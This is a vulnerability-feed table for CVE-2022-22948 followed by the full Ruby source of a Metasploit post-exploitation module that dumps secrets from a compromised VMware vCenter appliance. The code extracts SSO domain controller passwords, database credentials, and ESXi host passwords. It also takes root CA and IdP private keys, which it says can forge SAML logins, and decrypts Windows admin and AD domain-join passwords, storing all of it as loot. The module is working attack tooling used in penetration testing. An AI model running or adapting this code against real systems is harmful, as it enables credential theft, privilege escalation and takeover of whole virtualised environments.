| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for Incorrect Default Permissions in Vmware Cloud_Foundation | 17 Oct 202109:59 | – | githubexploit | |
| CVE-2022-22948 | 29 Mar 202200:00 | – | attackerkb | |
| The vulnerability of the software for managing virtual infrastructure, such as VMware vCenter Server and VMware Cloud Foundation, is related to deficiencies in access control. This allows attackers to gain unauthorized access to protected information. | 13 Apr 202200:00 | – | bdu_fstec | |
| CVE-2022-22948 | 29 Mar 202216:53 | – | circl | |
| VMware vCenter Server Incorrect Default File Permissions Vulnerability | 17 Jul 202400:00 | – | cisa_kev | |
| CISA Adds Three Known Exploited Vulnerabilities to Catalog | 17 Jul 202412:00 | – | cisa | |
| VMware vCenter Server 安全漏洞 | 29 Mar 202200:00 | – | cnnvd | |
| VMware vCenter Server Information Disclosure Vulnerability (CNVD-2022-55066) | 31 Mar 202200:00 | – | cnvd | |
| CVE-2022-22948 | 29 Mar 202217:24 | – | cve | |
| CVE-2022-22948 | 29 Mar 202217:24 | – | cvelist |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Linux::Priv
include Msf::Post::Vcenter::Vcenter
include Msf::Post::Vcenter::Database
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Secrets Dump',
'Description' => %q{
Grab secrets and keys from the vCenter server and add them to
loot. This module is tested against the vCenter appliance only;
it will not work on Windows vCenter instances. It is intended to
be run after successfully acquiring root access on a vCenter
appliance and is useful for penetrating further into the
environment following a vCenter exploit that results in a root
shell.
Secrets include the dcAccountDN and dcAccountPassword for
the vCenter machine which can be used for maniuplating the SSO
domain via standard LDAP interface; good for plugging into the
vmware_vcenter_vmdir_ldap module or for adding new SSO admin
users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with
associated private keys are also plundered and can be used to
sign forged SAML assertions for the /ui admin interface.
},
'Author' => [
'npm[at]cesium137.io', # original vcenter secrets dump
'Erik Wynter', # @wyntererik, postgres additions
'h00die' # tying it all together
],
'Platform' => [ 'linux', 'unix' ],
'DisclosureDate' => '2022-04-15',
'SessionTypes' => [ 'meterpreter', 'shell' ],
'License' => MSF_LICENSE,
'Actions' => [
[
'Dump',
{
'Description' => 'Dump vCenter Secrets'
}
]
],
'DefaultAction' => 'Dump',
'References' => [
[ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],
[ 'CVE', '2022-22948' ],
[ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],
[ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ],
[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_advanced_options([
OptBool.new('DUMP_VMDIR', [ true, 'Extract SSO domain information', true ]),
OptBool.new('DUMP_VMAFD', [ true, 'Extract vSphere certificates, private keys, and secrets', true ]),
OptBool.new('DUMP_SPEC', [ true, 'If DUMP_VMAFD is enabled, attempt to extract VM Guest Customization secrets from PSQL', true ]),
OptBool.new('DUMP_LIC', [ true, 'If DUMP_VMDIR is enabled, attempt to extract vSphere license keys', false ])
])
end
# this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.
def ldapsearch_bin
'/opt/likewise/bin/ldapsearch'
end
def psql_bin
'/opt/vmware/vpostgres/current/bin/psql'
end
def vcenter_management
vc_type_embedded || vc_type_management
end
def vcenter_infrastructure
vc_type_embedded || vc_type_infrastructure
end
def check_cve_2022_22948
# https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L5
cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'
end
def run
get_vcsa_version
if check_cve_2022_22948
print_good('Vulnerable to CVE-2022-22948')
report_vuln(
host: rhost,
port: rport,
name: name,
refs: ['CVE-2022-22948'],
info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"
)
end
print_status('Validating target')
validate_target
print_status('Gathering vSphere SSO domain information')
vmdir_init
print_status('Extracting PostgreSQL database credentials')
get_db_creds
print_status('Extract ESXi host vpxuser credentials')
enum_vpx_user_creds
if datastore['DUMP_VMDIR'] && vcenter_infrastructure
print_status('Extracting vSphere SSO domain secrets')
vmdir_dump
end
if datastore['DUMP_VMAFD']
print_status('Extracting certificates from vSphere platform')
vmafd_dump
if datastore['DUMP_SPEC'] && vcenter_management
print_status('Searching for secrets in VM Guest Customization Specification XML')
enum_vm_cust_spec
end
end
if is_root?
print_status('Retrieving .pgpass file')
retrieved_pg_creds = false
pgpass_contents = process_pgpass_file
pgpass_contents.each do |p|
extra_service_data = {
address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],
port: p['port'],
service_name: 'psql',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service
}
print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")
store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)
next if p['database'] != 'postgres'
next unless retrieved_pg_creds == false
creds = query_pg_shadow_values(p['password'], p['username'], p['database'])
retrieved_pg_creds = true unless creds.nil?
creds.each do |cred|
print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")
credential_data = {
username: cred['user'],
private_data: cred['password_hash'],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
}.merge(extra_service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(extra_service_data)
create_credential_login(login_data)
end
end
path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')
print_good("Saving the /root/.pgpass contents to #{path}")
end
end
def vmdir_init
self.keystore = {}
vsphere_machine_id = get_machine_id
if is_uuid?(vsphere_machine_id)
vprint_status("vSphere Machine ID: #{vsphere_machine_id}")
else
print_bad('Invalid vSphere PSC Machine UUID returned from vmafd-cli')
end
vsphere_domain_name = get_domain_name
unless is_fqdn?(vsphere_domain_name)
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vSphere SSO domain name via lwregshell')
end
self.base_fqdn = vsphere_domain_name.to_s.downcase
vprint_status("vSphere SSO Domain FQDN: #{base_fqdn}")
vsphere_domain_dn = 'dc=' + base_fqdn.split('.').join(',dc=')
self.base_dn = vsphere_domain_dn
vprint_status("vSphere SSO Domain DN: #{base_dn}")
vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')
vsphere_domain_dc_dn = get_domain_dc_dn
unless is_dn?(vsphere_domain_dc_dn)
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')
end
self.bind_dn = vsphere_domain_dc_dn
print_good("vSphere SSO DC DN: #{bind_dn}")
self.bind_pw = get_domain_dc_password
unless bind_pw
fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountPassword from lwregshell')
end
print_good("vSphere SSO DC PW: #{bind_pw}")
# clean up double quotes
# originally we wrapped in singles, but escaping of single quotes was not working, so prefer doubles
self.bind_pw = bind_pw.gsub('"') { '\\"' }
self.shell_bind_pw = "\"#{bind_pw}\""
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 389,
service_name: 'ldap',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: base_fqdn
}
store_valid_credential(user: bind_dn, private: bind_pw, service_data: extra_service_data)
get_aes_keys_from_host
end
def vmdir_dump
print_status('Dumping vmdir schema to LDIF and storing to loot...')
vmdir_ldif = get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
if vmdir_ldif.nil?
print_error('Error processing LDIF file')
return
end
p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')
print_good("LDIF Dump: #{p}")
print_status('Processing vmdir LDIF (this may take several minutes)')
ldif_file = ::File.open(p, 'rb')
ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)
print_status('Processing LDIF entries')
entries = ldif_data.to_entries
print_status('Processing SSO account hashes')
vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }
process_hashes(vmware_sso_hash_entries)
print_status('Processing SSO identity sources')
vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }
process_sso_providers(vmware_sso_id_entries)
if datastore['DUMP_LIC']
print_status('Extract licenses from vCenter platform')
vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }
get_vc_licenses(vmware_license_entries)
end
end
def vmafd_dump
if vcenter_infrastructure
get_vmca_cert
get_idp_creds
end
vecs_stores = get_vecs_stores
return if vecs_stores.nil?
if vecs_stores.empty?
print_error('Empty vecs-cli store list returned from vCenter')
return
end
vecs_stores.each do |vecs_store|
vecs_entries = get_vecs_entries(vecs_store)
vecs_entries.each do |vecs_entry|
next unless vecs_entry['Entry type'] == 'Private Key'
get_vecs_entry(vecs_store, vecs_entry)
end
end
end
def get_vecs_entry(store_name, vecs_entry)
store_label = store_name.upcase
vprint_status("Extract #{store_label} key")
key = get_vecs_private_key(store_name, vecs_entry['Alias'])
if key.nil?
print_bad("Could not extract #{store_label} private key")
else
p = store_loot(vecs_entry['Alias'], 'PEM', rhost, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")
print_good("#{store_label} Key: #{p}")
end
vprint_status("Extract #{store_label} certificate")
cert = validate_x509_cert(vecs_entry['Certificate'])
if cert.nil?
print_bad("Could not extract #{store_label} certificate")
return
end
p = store_loot(vecs_entry['Alias'], 'PEM', rhost, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")
print_good("#{store_label} Cert: #{p}")
unless key.nil?
update_keystore(cert, key)
end
end
def get_vmca_cert
vprint_status('Extract VMCA_ROOT key')
unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')
print_error('Could not locate VMCA_ROOT keypair')
return
end
vmca_key_b64 = read_file('/var/lib/vmware/vmca/privatekey.pem')
vmca_key = validate_pkey(vmca_key_b64)
if vmca_key.nil?
print_error('Could not extract VMCA_ROOT private key')
return
end
p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')
print_good("VMCA_ROOT key: #{p}")
vprint_status('Extract VMCA_ROOT cert')
vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')
vmca_cert = validate_x509_cert(vmca_cert_b64)
if vmca_cert.nil?
print_error('Could not extract VMCA_ROOT certificate')
return
end
unless vmca_cert.check_private_key(vmca_key)
print_error('VMCA_ROOT certificate and private key mismatch')
return
end
p = store_loot('vmca', 'PEM', rhost, vmca_cert, 'VMCA_ROOT.pem', 'vCenter VMCA root CA certificate')
print_good("VMCA_ROOT cert: #{p}")
update_keystore(vmca_cert, vmca_key)
end
# Shamelessly borrowed from vmware_vcenter_vmdir_ldap.rb
def process_hashes(entries)
if entries.empty?
print_warning('No password hashes found')
return
end
service_details = {
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: rhost,
port: '389',
protocol: 'tcp',
service_name: 'vmdir/ldap'
}
entries.each do |entry|
# This is the "username"
dn = entry.dn
# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76
type, hash, salt = entry[:userpassword].first.unpack('CH128H32')
case type
when 1
unless hash.length == 128
vprint_error("Type #{type} hash length is not 128 digits (#{dn})")
next
end
unless salt.length == 32
vprint_error("Type #{type} salt length is not 32 digits (#{dn})")
next
end
# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197
john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"
else
vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")
next
end
print_good("vSphere SSO User Credential: #{dn}:#{john_hash}")
create_credential(service_details.merge(
username: dn,
private_data: john_hash,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)
))
end
end
def process_sso_providers(entries)
if entries.empty?
print_warning('No SSO ID provider information found')
return
end
if entries.is_a?(String)
entries = entries.split("\n")
end
entries.each do |entry|
sso_prov_type = entry[:vmwSTSProviderType].first
sso_conn_str = entry[:vmwSTSConnectionStrings].first
sso_user = entry[:vmwSTSUserName].first
# On vCenter 7.x instances the tenant AES key was always Base64 encoded vs. plaintext, and vmwSTSPassword was missing from the LDIF dump.
# It appears that vCenter 7.x does not return vmwSTSPassword even with appropriate LDAP flags - this is not like prior versions.
# The data can still be extracted directly with ldapsearch syntax below which works in all versions, but is a PITA.
vmdir_user_sso_pass = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(&(objectClass=vmwSTSIdentityStore)(vmwSTSConnectionStrings=#{sso_conn_str}))\" \"vmwSTSPassword\" | awk -F 'vmwSTSPassword: ' '{print $2}'").split("\n").last
sso_pass = tenant_aes_decrypt(vmdir_user_sso_pass)
sso_domain = entry[:vmwSTSDomainName].first
sso_conn_uri = URI.parse(sso_conn_str)
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: sso_conn_uri.port,
service_name: sso_conn_uri.scheme,
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: sso_domain
}
store_valid_credential(user: sso_user, private: sso_pass, service_data: extra_service_data)
print_status('Found SSO Identity Source Credential:')
print_good("#{sso_prov_type} @ #{sso_conn_str}:")
print_good("\t SSOUSER: #{sso_user}")
print_good("\t SSOPASS: #{sso_pass}")
print_good("\tSSODOMAIN: #{sso_domain}")
end
end
def get_aes_keys_from_host
print_status('Extracting tenant and vpx AES encryption key...')
tenant_key = get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
fail_with(Msf::Exploit::Failure::Unknown, 'Error extracting tenant and vpx AES encryption key') if tenant_key.nil?
tenant_key.each do |aes_key|
aes_key_len = aes_key.length
# our first case is to process it out
case aes_key_len
when 16
self.vc_tenant_aes_key = aes_key
self.vc_tenant_aes_key_hex = vc_tenant_aes_key.unpack('H*').first
vprint_status("vCenter returned a plaintext AES key: #{aes_key}")
when 24
self.vc_tenant_aes_key = Base64.strict_decode64(aes_key)
self.vc_tenant_aes_key_hex = Base64.strict_decode64(aes_key).unpack('H*').first
vprint_status("vCenter returned a Base64 AES key: #{aes_key}")
when 64
self.vc_sym_key = aes_key.scan(/../).map(&:hex).pack('C*')
self.vc_sym_key_raw = aes_key
print_good('vSphere vmware-vpx AES encryption')
print_good("\tHEX: #{aes_key}")
else
print_error("Invalid tenant AES encryption key size - expecting 16 raw bytes or 24 Base64 bytes, got #{aes_key_len}")
next
end
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: base_fqdn
}
# our second case is to store it correctly
case aes_key_len
when 16, 24
print_good('vSphere Tenant AES encryption')
print_good("\tKEY: #{vc_tenant_aes_key}")
print_good("\tHEX: #{vc_tenant_aes_key_hex}")
store_valid_credential(user: 'STS AES key', private: vc_tenant_aes_key, service_data: extra_service_data.merge({
port: 389,
service_name: 'ldap'
}))
when 64
store_valid_credential(user: 'VPX AES key', private: vc_sym_key_raw, service_data: extra_service_data.merge({
port: 5432,
service_name: 'psql'
}))
end
end
end
def tenant_aes_decrypt(b64)
# https://github.com/vmware/lightwave/blob/master/vmidentity/idm/server/src/main/java/com/vmware/identity/idm/server/CryptoAESE.java#L44-L45
ciphertext = Base64.strict_decode64(b64)
decipher = OpenSSL::Cipher.new('aes-128-ecb')
decipher.decrypt
decipher.padding = 0
decipher.key = vc_tenant_aes_key
return (decipher.update(ciphertext) + decipher.final).delete("\000")
rescue StandardError => e
elog('Error performing tenant_aes_decrypt', error: e)
fail_with(Msf::Exploit::Failure::Unknown, 'Error performing tenant_aes_decrypt')
end
def update_keystore(public_key, private_key)
if public_key.is_a? String
cert = validate_x509_cert(public_key)
else
cert = public_key
end
if private_key.is_a? String
key = validate_pkey(private_key)
else
key = private_key
end
cert_thumbprint = OpenSSL::Digest::SHA1.new(cert.to_der).to_s
keystore[cert_thumbprint] = key
rescue StandardError => e
elog('Error updating module keystore', error: e)
fail_with(Msf::Exploit::Failure::Unknown, 'Error updating module keystore')
end
def get_idp_creds
vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')
idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
if idp_keys.nil?
print_error('Error processing IdP trusted certificate private key')
return
end
idp_certs = get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
if idp_certs.nil?
print_error('Error processing IdP trusted certificate chain')
return
end
vprint_status('Parsing vmwSTSTenantCredential certificates and keys')
# vCenter vmdir stores the STS IdP signing credential under the following DN:
# cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>
sts_cert = nil
sts_key = nil
sts_pem = nil
idp_keys.each do |stskey|
idp_certs.each do |stscert|
next unless stscert.check_private_key(stskey)
sts_cert = stscert.to_pem.to_s
sts_key = stskey.to_pem.to_s
if validate_sts_cert(sts_cert)
vprint_status('Validated vSphere SSO IdP certificate against vSphere IDM tenant certificate')
else # Query IDM to compare our extracted cert with the IDM advertised cert
print_warning('Could not reconcile vmdir STS IdP cert chain with cert chain advertised by IDM - this credential may not work')
end
sts_pem = "#{sts_key}#{sts_cert}"
end
end
unless sts_pem # We were unable to link a public and private key together
print_error('Unable to associate IdP certificate and private key')
return
end
p = store_loot('idp', 'application/x-pem-file', rhost, sts_key, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')
print_good("SSO_STS_IDP key: #{p}")
p = store_loot('idp', 'application/x-pem-file', rhost, sts_cert, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')
print_good("SSO_STS_IDP cert: #{p}")
update_keystore(sts_cert, sts_key)
end
def get_vc_licenses(entries)
if entries.empty?
print_warning('No vSphere Licenses Found')
return
end
if entries.is_a?(String)
entries = entries.split("\n")
end
entries.each do |entry|
vc_lic_name = entry[:vmwLicSvcLicenseName].first
vc_lic_type = entry[:vmwLicSvcLicenseType].first
vc_lic_key = entry[:vmwLicSvcLicenseSerialKeys].first
vc_lic_label = "#{vc_lic_name} #{vc_lic_type}"
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 443,
service_name: 'https',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: base_fqdn
}
store_valid_credential(user: vc_lic_label, private: vc_lic_key, service_data: extra_service_data)
print_good("\t#{vc_lic_label}: #{vc_lic_key}")
end
end
def enum_vm_cust_spec
vpx_customization_specs = get_vpx_customization_spec(shell_vcdb_pass, vcdb_user, vcdb_name)
if vpx_customization_specs.nil?
print_warning('No vpx_customization_spec entries evident')
return
end
vpx_customization_specs.each do |spec|
xmldoc = vpx_customization_specs[spec]
unless (enc_cert_len = xmldoc.at_xpath('/ConfigRoot/encryptionKey/_length').text.to_i)
print_error("Could not determine DER byte length for vpx_customization_spec '#{spec}'")
next
end
enc_cert_der = []
der_idx = 0
print_status('Validating data encipherment key')
while der_idx <= enc_cert_len - 1
enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i
der_idx += 1
end
enc_cert = validate_x509_cert(enc_cert_der.pack('C*'))
if enc_cert.nil?
print_error("Invalid encryption certificate for vpx_customization_spec '#{spec}'")
next
end
enc_cert_thumbprint = OpenSSL::Digest::SHA1.new(enc_cert.to_der).to_s
vprint_status("Secrets for '#{spec}' were encrypted using public certificate with SHA1 digest #{enc_cert_thumbprint}")
unless (enc_keystore_entry = keystore[enc_cert_thumbprint])
print_warning('Could not associate encryption public key with any of the private keys extracted from vCenter, skipping')
next
end
vc_cipher_key = validate_pkey(enc_keystore_entry)
if vc_cipher_key.nil?
print_error("Could not access private key for VM Guest Customization Template '#{spec}', cannot decrypt")
next
end
unless enc_cert.check_private_key(vc_cipher_key)
print_error("vCenter private key does not associate with public key for VM Guest Customization Template '#{spec}', cannot decrypt")
next
end
key_digest = OpenSSL::Digest::SHA1.new(vc_cipher_key.to_der).to_s
vprint_status("Decrypt using #{vc_cipher_key.n.num_bits}-bit #{vc_cipher_key.oid} SHA1: #{key_digest}")
# Check for static local machine password
if (sysprep_element_unattend = xmldoc.at_xpath('/ConfigRoot/identity/guiUnattended'))
next unless sysprep_element_unattend.at_xpath('//guiUnattended/password/plainText')
secret_is_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/plainText').text
case secret_is_plaintext.downcase
when 'true'
secret_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text
when 'false'
secret_ciphertext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text
ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse
secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")
else
print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")
next
end
print_status("Initial administrator account password found for vpx_customization_spec '#{spec}':")
print_good("\tInitial Admin PW: #{secret_plaintext}")
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 445,
protocol: 'tcp',
service_name: 'Windows',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: '.'
}
store_valid_credential(user: '(local built-in administrator)', private: secret_plaintext, service_data: extra_service_data)
end
# Check for account used for domain join
next unless (domain_element_unattend = xmldoc.at_xpath('//identification'))
next unless domain_element_unattend.at_xpath('//identification/domainAdminPassword/plainText')
secret_is_plaintext = domain_element_unattend.xpath('//identification/domainAdminPassword/plainText').text
domain_user = domain_element_unattend.xpath('//identification/domainAdmin').text
domain_base = domain_element_unattend.xpath('//identification/joinDomain').text
case secret_is_plaintext.downcase
when 'true'
secret_plaintext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text
when 'false'
secret_ciphertext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text
ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse
secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")
else
print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")
next
end
print_status("AD domain join account found for vpx_customization_spec '#{spec}':")
case domain_base.include?('.')
when true
print_good("\tAD User: #{domain_user}@#{domain_base}")
when false
print_good("\tAD User: #{domain_base}\\#{domain_user}")
end
print_good("\tAD Pass: #{secret_plaintext}")
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 445,
protocol: 'tcp',
service_name: 'Windows',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: domain_base
}
store_valid_credential(user: domain_user, private: secret_plaintext, service_data: extra_service_data)
end
end
def enum_vpx_user_creds
vpxuser_rows = get_vpx_users(shell_vcdb_pass, vcdb_user, vcdb_name, vc_sym_key)
if vpxuser_rows.nil?
print_warning('No ESXi hosts attached to this vCenter system')
return
end
vpxuser_rows.each do |user|
print_good("ESXi Host #{user['fqdn']} [#{user['ip']}]\t LOGIN: #{user['user']} PASS: #{user['password']}")
extra_service_data = {
address: user['ip'],
port: 22,
protocol: 'tcp',
service_name: 'ssh',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: user['fqdn']
}
# XXX is this always root? store_valid_credential(user: 'root', private: user['password'], service_data: extra_service_data)
store_valid_credential(user: user['user'], private: user['password'], service_data: extra_service_data)
end
end
def get_db_creds
db_properties = process_vcdb_properties_file
self.vcdb_name = db_properties['name']
self.vcdb_user = db_properties['username']
self.vcdb_pass = db_properties['password']
self.shell_vcdb_pass = "'#{vcdb_pass.gsub("'") { "\\'" }}'"
print_good("\tVCDB Name: #{vcdb_name}")
print_good("\tVCDB User: #{vcdb_user}")
print_good("\tVCDB Pass: #{vcdb_pass}")
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 5432,
service_name: 'psql',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: vcdb_name
}
store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)
print_status('Checking for VPX Users')
creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)
if creds.nil?
print_bad('No VPXUSER entries were found')
return
end
creds.each do |cred|
extra_service_data = {
address: cred['ip_address'],
service_name: 'vpx',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: vcdb_name
}
if cred.key? 'decrypted_password'
print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")
credential_data = {
username: cred['user'],
private_data: cred['decrypted_password'],
private_type: :password
}.merge(extra_service_data)
else
print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")
credential_data = {
username: cred['user'],
private_data: cred['password_hash'],
private_type: :nonreplayable_hash
# this is encrypted, not hashed, so no need for the following line, leaving it as a note
# jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
}.merge(extra_service_data)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(extra_service_data)
create_credential_login(login_data)
end
end
def validate_sts_cert(test_cert)
cert = validate_x509_cert(test_cert)
return false if cert.nil?
vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')
idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")
if idm_cmd.blank?
print_error('Unable to query IDM tenant information, cannot validate ssoserverSign certificate against IDM')
return false
end
if (idm_json = JSON.parse(idm_cmd).first)
idm_json['certificates'].each do |idm|
cert_verify = validate_x509_cert(idm['encoded'])
if cert_verify.nil?
print_error('Invalid x509 certificate extracted from IDM!')
return false
end
next unless cert == cert_verify
return true
end
else
print_error('Unable to parse IDM tenant certificates downloaded from http://localhost:7080/idm/tenant/ on local vCenter')
return false
end
print_error('No vSphere IDM tenant certificates returned from http://localhost:7080/idm/tenant/')
false
end
def validate_target
if vcenter_management
vc_db_type = get_database_type
unless vc_db_type == 'embedded'
fail_with(Msf::Exploit::Failure::NoTarget, "This module only supports embedded PostgreSQL, appliance reports DB type '#{vc_db_type}'")
end
unless command_exists?(psql_bin)
fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{psql_bin}")
end
end
self.vcenter_fqdn = get_fqdn
if vcenter_fqdn.nil?
print_bad('Could not determine vCenter DNS FQDN')
self.vcenter_fqdn = ''
end
vsphere_machine_ipv4 = get_ipv4
if vsphere_machine_ipv4.nil? || !Rex::Socket.is_ipv4?(vsphere_machine_ipv4)
print_bad('Could not determine vCenter IPv4 address')
else
print_status("Appliance IPv4: #{vsphere_machine_ipv4}")
end
self.vc_psc_fqdn = get_platform_service_controller(vc_type_management)
os, build = get_os_version
print_status("Appliance Hostname: #{vcenter_fqdn}")
print_status("Appliance OS: #{os}-#{build}")
host_info = {
host: session.session_host,
name: vcenter_fqdn,
os_flavor: os,
os_sp: build,
purpose: 'server',
info: 'vCenter Server'
}
if os.downcase.include? 'linux'
host_info[:os_name] = 'linux'
end
report_host(host_info)
end
def get_vcsa_version
self.vc_type_embedded = false
self.vc_type_infrastructure = false
self.vc_type_management = false
vcsa_type = get_deployment_type
case vcsa_type
when nil
fail_with(Msf::Exploit::Failure::BadConfig, 'Could not find /etc/vmware/deployment.node.type')
when 'embedded' # Integrated vCenter and PSC
self.vc_deployment_type = 'vCenter Appliance (Embedded)'
self.vc_type_embedded = true
when 'infrastructure' # PSC only
self.vc_deployment_type = 'vCenter Platform Service Controller'
self.vc_type_infrastructure = true
when 'management' # vCenter only
self.vc_deployment_type = 'vCenter Appliance (Management)'
self.vc_type_management = true
else
fail_with(Msf::Exploit::Failure::Unknown, "Unable to determine appliance deployment type returned from server: #{vcsa_type}")
end
if vcenter_management
self.vcsa_build = get_vcenter_build
end
print_status(vcsa_build)
print_status(vc_deployment_type)
end
private
